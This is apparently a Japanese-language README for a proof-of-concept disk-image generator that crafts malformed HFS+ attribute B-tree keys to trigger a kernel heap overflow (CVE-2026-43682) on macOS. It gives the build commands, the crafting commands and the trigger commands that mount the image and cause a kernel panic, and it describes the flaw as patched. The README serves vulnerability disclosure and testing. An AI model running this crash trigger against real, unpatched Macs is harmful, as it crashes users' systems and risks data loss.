
macOS上でCVE-2026-43682カーネルヒープオーバーフローを引き起こすために、不正なHFS+属性B-treeキーを作成する概念実証のディスクイメージジェネレーター。
この概念実証は、影響を受ける Mac をカーネルパニックに陥らせ、再起動させることが想定されています。 使い捨てのテストシステムでのみ使用してください。証拠採取には、macOS Tahoe 26.3 (25D125) を実行する Apple シリコンを使用しました。Apple は CVE-2026-43682 を Tahoe 26.6、Sequoia 15.7.8、および Sonoma 14.8.8 で修正しました。
この PoC はディスクイメージジェネレーターであり、権限昇格エクスプロイトではありません。これは以下を行います:
_COMM_PAGE_ASB_TARGET_KERN_VALUE を読み取ります;不正なコピーは決定論的です。Probabilistic GZAlloc が、上書きが即座にフォールトする場所にガードを配置するかどうかは決定論的ではありません。
hdiutil および xattr コマンド。サードパーティの Python パッケージは必要ありません。
ヘルパーはオプションですが、イメージが生成される前にブートごとの値を明示的にします:
cd poc
clang -O2 -Wall -Wextra check_commpage.c -o check_commpage
./check_commpage
ベースイメージを作成し、その属性ツリーにパッチを適用します:
./create_base_dmg.sh base_with_attrs.dmg
python3 craft_attr_poc_asb.py \
base_with_attrs.dmg \
cve-2026-43682.dmg \
2884
Python スクリプトは、同じブートのカーネル Target Flag 値と、イメージに書き込まれたパターンを出力します。
イメージをアタッチするか、その後インデックスを作成するだけで、脆弱な属性パスに到達するのに十分な場合があります。テスト中に使用された明示的なトリガーは次のとおりです:
hdiutil attach -readonly -nobrowse cve-2026-43682.dmg
ls -l@ /Volumes/AttrPOC/
脆弱なシステムでは、期待される結果は、サイズ超過の B-tree キーコピー中のカーネルデータアボートです。修正されたシステムでは、不正なキーはカーネルメモリの破損なしに拒否されるはずです。
クラッシュしなかった実行の後、次のコマンドでテストボリュームをデタッチします:
hdiutil detach /Volumes/AttrPOC